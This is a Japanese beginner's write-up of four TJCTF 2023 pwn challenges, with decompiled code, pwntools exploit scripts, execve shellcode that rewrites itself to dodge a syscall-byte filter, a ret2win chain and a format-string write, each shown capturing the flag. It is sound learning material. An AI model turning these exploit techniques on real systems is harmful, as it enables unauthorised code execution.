TJCTF Writes up
CTF初心者ですが、2023年5月27日から2日間で実施された tjctf に参加しました。易しめの pwn 4問, rev2問, その他 crypto,forensics が 1問づつ回答できたという状況でした。思い出づくりのため解くことができた pwn 問題の回答の記録をまとめました。
pwn/flip-out
問題文によるとプログラムの中にflagがあるということだが、とりあえず与えられたファイルをGhidraでDecompileする。
main関数は次のとおり。flagをファイルから読み込んだら、数値の入力をして、変数input+数値のアドレスを文字列で出力する。
だから、flagが格納されている変数と、inputのアドレスの差を入力すればよい。gdbで確かめたが、そこまでする必要もなく下のソースから、inputとbufのアドレスの差は 16*8=128 バイト。128を入力してあげればいい。Ghidraは、スタックのレイアウトに忠実に出力してくれている。
undefined8 main(void)
{
uint uVar1;
FILE *fp;
undefined8 uVar2;
long in_FS_OFFSET;
undefined8 input;
undefined8 local_b0;
undefined8 local_a8;
undefined8 local_a0;
undefined8 local_98;
undefined8 local_90;
undefined8 local_88;
undefined8 local_80;
undefined8 local_78;
undefined8 local_70;
undefined8 local_68;
undefined8 local_60;
undefined8 local_58;
undefined8 local_50;
undefined8 local_48;
undefined8 local_40;
undefined8 buf;
undefined local_30;
undefined7 uStack47;
undefined uStack40;
undefined8 local_27;
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
setbuf(stdout,(char *)0x0);
input = 0x20676e6968746f4e;
...
(中略)
...
buf = 0;
local_30 = 0;
uStack47 = 0;
uStack40 = 0;
local_27 = 0;
fp = fopen("flag.txt","r");
if (fp == (FILE *)0x0) {
printf("Cannot find flag.txt.");
uVar2 = 1;
}
else {
fgets((char *)&buf,0x19,fp);
fclose(fp);
printf("Input: ");
__isoc99_scanf(&DAT_0010202d,&input);
uVar1 = atoi((char *)&input);
if ((int)uVar1 < 0x81) {
printf("%s",(long)&input + (long)(int)(uVar1 & 0xff));
uVar2 = 0;
}
else {
uVar2 = 0;
}
}
...
}
└─$ nc tjc.tf 31601
Input: 128
tjctf{chop-c4st-7bndbji}
pwn/shelly
問題文の意味はよくわからないが、shell code に関する問題であることは推測できる。shell codeは(自分の理解では)、プログラムから シェルを起動できるバイナリ文字列。外部からプログラムにそれを埋め込んで、実行することができればいろいろ(CTFではflagを取得)できるというものだ。
与えられるプログラムのデコンパイル結果は次のとおり。256バイトの領域に対して 0x200=512バイトの読み込みを行っているのでバッファオーバフローの問題があることがわかる。
undefined8 main(void)
{
char local_108 [256];
setbuf(stdout,(char *)0x0);
printf("0x%lx\n",local_108);
fgets(local_108,0x200,stdin);
i = 0;
while( true ) {
if ((0x1fe < i) || (local_108[i] == '\0')) {
puts("ok");
return 0;
}
if ((local_108[i] == '\x0f') && (local_108[i + 1] == '\x05')) break;
i = i + 1;
}
puts("nonono");
/* WARNING: Subroutine does not return */
exit(1);
}
次にchecksec ツールを実行してプログラムのセキュリティ機構を調べてみると、ゆるゆるであることがわかる。
└─$ checksec chall
[*] '/home/kali/Documents/ctf/NEW2/tjctf/pwn/shelly/chall'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x400000)
RWX: Has RWX segments
特に
RWX : Has RWX segments
となっているから、スタックにおいた内容も実行可能かと gdbの vmmapでも試してみると確かにそうなっていた。さらにこのプログラムでは、fgets で読み込むアドレスまで表示してくれているではないか。よって次の方法でshell codeを実行できる。
- 表示される fgets の読み込みバッファのアドレスを取得する。
- fgets に shell code を埋め込む。
- バッファオーバフローを利用して、関数のリターンアドレスを1で取得したアドレスに上書きをする。
これで、shell codeの実行となるわけだ。
ただ問題となる点が1つある。入力されたデータに 0x0f, 0x05 の並びがあるとこのプログラムは、exit()を呼び出して終了してしまう。書き換えたリターンアドレスに行く前終わってしまうのだ。この 0x0f, 0x05 の並びは syscall 命令を表しており shell codeには必要なものである。そこで、入力データにはこの並びがないようにして、実行する際にこのデータを生成するなどの必要がある。自己書き換えプログラムだ。
作成したアセンブラは以下のとおり。借用してきたオリジナルの優れたshellcodeは、_start_realからsyscallのコメントを外したもの。
; shellcode64.s
BITS 64
global _start
_start:
nop
nop
lea rsi,[rel $-4]
mov al,0fh
mov [rsi],al
inc rsi
mov al,05h
mov [rsi],al
_start_real:
xor eax, eax
mov al, 0x3b
xor esi, esi
cdq
push rsi
mov rdi, 0x68732f2f6e69622f
push rdi
mov rdi, rsp
; syscall
jmp _start
;nasm -f elf64 shellcode64.s
;ld -s -o a.out shellcode64.o
前述のように syscallがあると今回はそのまま動いてくれないので、nopに続く6命令で、先頭の nopを syscallに書き換える。最後に jmp _startで、書き換えた syscallを実行する。なお追加した命令のところに0x00が現れてしまうと、shellcodeの読み込みが途中で終わってしまうので注意が必要だ。アセンブルして、shellcodeをデータにして出来上がったコードが以下。キャッシュが気になったので、実は先のアセンブラの nopの数を多めにしたが関係ないかもしれない(0x90は2つ必要)。
#!/usr/bin/env python3
from pwn import *
HOST = 'tjc.tf'
PORT = 31365
conn = None
PROG = './chall'
context.binary = PROG
elf = ELF(PROG)
#conn = process(PROG)
#gdb.attach(conn)
conn = remote(HOST, PORT)
log.info('Pwning')
shell=[0x90,0x90,0x48,0x8d,0x35,0xf5,0xff,0xff,0xff,0xb0,0x0f,0x88,0x06,0x48,0xff,0xc6,0xb0,0x05,0x88,0x06,0x31,0xc0,0xb0,0x3b,0x31,0xf6,0x99,0x56,0x48,0xbf,0x2f,0x62,0x69,0x6e,0x2f,0x2f,0x73,0x68,0x57,0x48,0x89,0xe7,0xeb,0xb7]
shellbin = bytes(shell)
addr = conn.readline()
log.info(addr)
addr2= int(addr.decode()[:-1],16)
log.info(hex(addr2).encode())
padlen = 264 - len(shellbin)
expdata = [
shellbin,
b'p' * padlen,
p64(addr2)
]
payload = b''.join(expdata)
conn.sendline(payload)
conn.interactive()
結果は次のとおり。
└─$ ./exp.py
...
[+] Opening connection to tjc.tf on port 31365: Done
[*] Pwning
[*] 0x7fff55467480
[*] 0x7fff55467480
[*] Switching to interactive mode
ok
$ ls
flag.txt
run
$ cat flag.txt
tjctf{s4lly_s3lls_s34sh3lls_50973fce}
pwn/groppling-hook
今回は、ソースプログラムも添付されていたが、ghidraでデコンパイルした結果のほうがわかりやすかった。
脆弱性(バッファオーバフロー)がある関数がpwanable()で、 main()関数からこのpwnable()が呼び出される。別に win()関数 (=flagを表示してくれる関数) が実装されているが、どこからも呼び出されることはない。
void pwnable(void)
{
long in_stack_00000000;
undefined local_12 [10];
printf(" > ");
fflush(stdout);
read(0,local_12,0x38);
if ((in_stack_00000000 < 0x401263) || (0x40128a < in_stack_00000000)) {
laugh();
}
return;
}
定石どおり、バッファオーバーフローを利用して、戻り先のアドレスをwin() (=0x4011b3)にするほうほうが浮かぶ。しかし、戻り先はチェックされていて、main() のどこかである0x401263から0x40128aの間でなければ 、この問題もreturn せずに、exit()で終了してしまうようになっている。
└─$ objdump -S -Mintel out
...
00000000004011b3 <win>:
4011b3: 55 push rbp
4011b4: 48 89 e5 mov rbp,rsp
...
0000000000401262 <main>:
401262: 55 push rbp
401263: 48 89 e5 mov rbp,rsp
401266: 48 8b 05 e3 2d 00 00 mov rax,QWORD PTR [rip+0x2de3]
40126d: be 00 00 00 00 mov esi,0x0
401272: 48 89 c7 mov rdi,rax
401275: e8 c6 fd ff ff call 401040 <setbuf@plt>
40127a: b8 00 00 00 00 mov eax,0x0
40127f: e8 78 ff ff ff call 4011fc <pwnable>
401284: b8 00 00 00 00 mov eax,0x0
401289: 5d pop rbp
40128a: c3 ret
...
結論としては 戻り先として ret 命令のある 0x40128aにすればよい。そしてその次に処理を飛ばしたい win()関数のアドレス0x4011b3 を埋めておく。こうすることで、pwnable() から、main()の終わりに移り、そのmain()の戻り先が win()になるというわけだ。攻略コードはシンプルで、以下の通り。
#!/usr/bin/env python3
from pwn import *
HOST = 'tjc.tf'
PORT = 31080
conn = None
PROG = './out'
context.binary = PROG
#conn = process(PROG)
#gdb.attach(conn)
conn = remote(HOST, PORT)
log.info('Pwning')
expdata = [
b'a' * 18,
p64(0x40128a), # ret 命令があるアドレス
p64(0x4011b3) # win()関数のアドレス
]
payload = b''.join(expdata)
conn.sendlineafter(b'> ',payload)
conn.interactive()
実行結果
└─$ ./exp.py
[*] '/home/kali/Documents/ctf/NEW2/tjctf/pwn/groppling/out'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[*] Loaded 5 cached gadgets for './out'
[+] Opening connection to tjc.tf on port 31080: Done
[*] Pwning
[*] Switching to interactive mode
tjctf{this_i#-my-questsss}
[*] Got EOF while reading in interactive
pwn/formatter
この問題もタイトルや問題文からあれかなと思ったが、はたしてそのとおり format string の問題でした。脆弱性のある箇所は、printf(buf)の部分。入力した文字列をそのまま printf文に渡している箇所だ。本問も win()関数がある。そこでは if( *xd == 0x86a693e ) の判定があって、この条件を満たせば flag が得られようになっている。
undefined8 main(void)
{
int iVar1;
char buf [268];
int i;
setbuf(stdout,(char *)0x0);
xd = calloc(1,4);
printf("give me a string (or else): ");
fgets(buf,0x100,stdin);
printf(buf);
r1();
iVar1 = win();
if (iVar1 != 0) {
for (i = 0; i < 0x100; i = i + 1) {
putchar((int)(char)among[i]);
}
}
free(xd);
return 0;
}
xd という変数はアドレス固定のグローバル変数(ポインタ型)になっている。その指し示す中身が最終的に 0x86a693e になっていればよい。
callocによって返される値(heapaddr)がわかれば、その中身(*heapaddr) を0x86a693eにしてやればいいのだが、それは難しい。なので、プログラムのメモリの中で固定でかつ書き換え可能なアドレス(targetaddr)があれば、
- xd = targetaddr
- [targetaddr] = 0x86a693e
と、その2箇所のメモリを書き換えればよい。書き換え可能であればスタックのどこかと思ったが、スタックの割当アドレスもプログラムの実行するたびに変わるのでだめだ。gdbで vmmapでみてみると 0x403000 から始まる領域が rwとなっている。ここを利用して上のtargetaddrを0x403000 としたらうまく行った。
gef➤ vmmap
[ Legend: Code | Heap | Stack ]
Start End Offset Perm Path
0x00000000400000 0x00000000401000 0x00000000000000 r-- /home/kali/Documents/ctf/NEW2/tjctf/pwn/formatter/chall
0x00000000401000 0x00000000402000 0x00000000001000 r-x /home/kali/Documents/ctf/NEW2/tjctf/pwn/formatter/chall
0x00000000402000 0x00000000403000 0x00000000002000 r-- /home/kali/Documents/ctf/NEW2/tjctf/pwn/formatter/chall
0x00000000403000 0x00000000404000 0x00000000002000 rw- /home/kali/Documents/ctf/NEW2/tjctf/pwn/formatter/chall
0x00000000404000 0x00000000425000 0x00000000000000 rw- [heap]
0x007ffff7dc9000 0x007ffff7dcc000 0x00000000000000 rw-
0x007ffff7dcc000 0x007ffff7df2000 0x00000000000000 r-- /usr/lib/x86_64-linux-gnu/libc.so.6
0x007ffff7df2000 0x007ffff7f47000 0x00000000026000 r-x /usr/lib/x86_64-linux-gnu/libc.so.6
0x007ffff7f47000 0x007ffff7f9a000 0x0000000017b000 r-- /usr/lib/x86_64-linux-gnu/libc.so.6
0x007ffff7f9a000 0x007ffff7f9e000 0x000000001ce000 r-- /usr/lib/x86_64-linux-gnu/libc.so.6
0x007ffff7f9e000 0x007ffff7fa0000 0x000000001d2000 rw- /usr/lib/x86_64-linux-gnu/libc.so.6
0x007ffff7fa0000 0x007ffff7fad000 0x00000000000000 rw-
0x007ffff7fc3000 0x007ffff7fc5000 0x00000000000000 rw-
0x007ffff7fc5000 0x007ffff7fc9000 0x00000000000000 r-- [vvar]
0x007ffff7fc9000 0x007ffff7fcb000 0x00000000000000 r-x [vdso]
0x007ffff7fcb000 0x007ffff7fcc000 0x00000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x007ffff7fcc000 0x007ffff7ff1000 0x00000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x007ffff7ff1000 0x007ffff7ffb000 0x00000000026000 r-- /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x007ffff7ffb000 0x007ffff7ffd000 0x00000000030000 r-- /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x007ffff7ffd000 0x007ffff7fff000 0x00000000032000 rw- /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x007ffffffde000 0x007ffffffff000 0x00000000000000 rw- [stack]
gef➤
format string 書式文字列攻撃は、printf 関数でメモリの中身を更新する仕様を利用しているのだが(そんな機能があることすらしらなかった)実際に手作業を構成するとなると非常に面倒。だが、pwn toolではいとも簡単に実現してくれる。今回のように複数箇所の書き換えもバッファに余裕さえあれば問題ない。ということで攻略コードは以下。
#!/usr/bin/env python3
from pwn import *
HOST = 'tjc.tf'
PORT = 31764
conn = None
PROG = './chall'
context.binary = PROG
elf = ELF(PROG)
rop = ROP(elf)
#conn = process(PROG)
#gdb.attach(conn)
conn = remote(HOST, PORT)
trg_xd = elf.symbols['xd']
trg_addr = 0x403000
trg_value = 0x86a693e-2
writes1 = {trg_xd:trg_addr,trg_addr:trg_value}
offset = 6
payload = fmtstr_payload(offset,writes1,numbwritten=0)
log.info(payload)
log.info('Pwning')
conn.sendlineafter(b': ',payload)
conn.interactive()
補足すると、trg_valueのところで -2 にしているのは、win()に到達する前に*xd に2を加算している処理があるから。また offset = 6は、入力したバッファと%xとかで参照する際のアドレスの差で、以下のように入力した先頭が6つめの %x で表示されているので 6とした。
└─$ ./chall
give me a string (or else): aaaa:%x:%x:%x:%x:%x:%x:%x
aaaa:22072c1:fbad2288:1:22072da:0:61616161:253a7825
`amongus
結果は、他の出力と混在して、***jctf{f0rm4tt3d_5883cc30} となってしまったが、flag 形式がわかっているので先頭に tを補ってなんとかできた。
おわりに
CTFのwrites up も Qiita 投稿も markdown 記載も初めてでした。自分としてはいい思い出になりました。ここまで辛抱強くお付き合いしてくださった方がいらっしゃれば感謝します。ありがとうございました。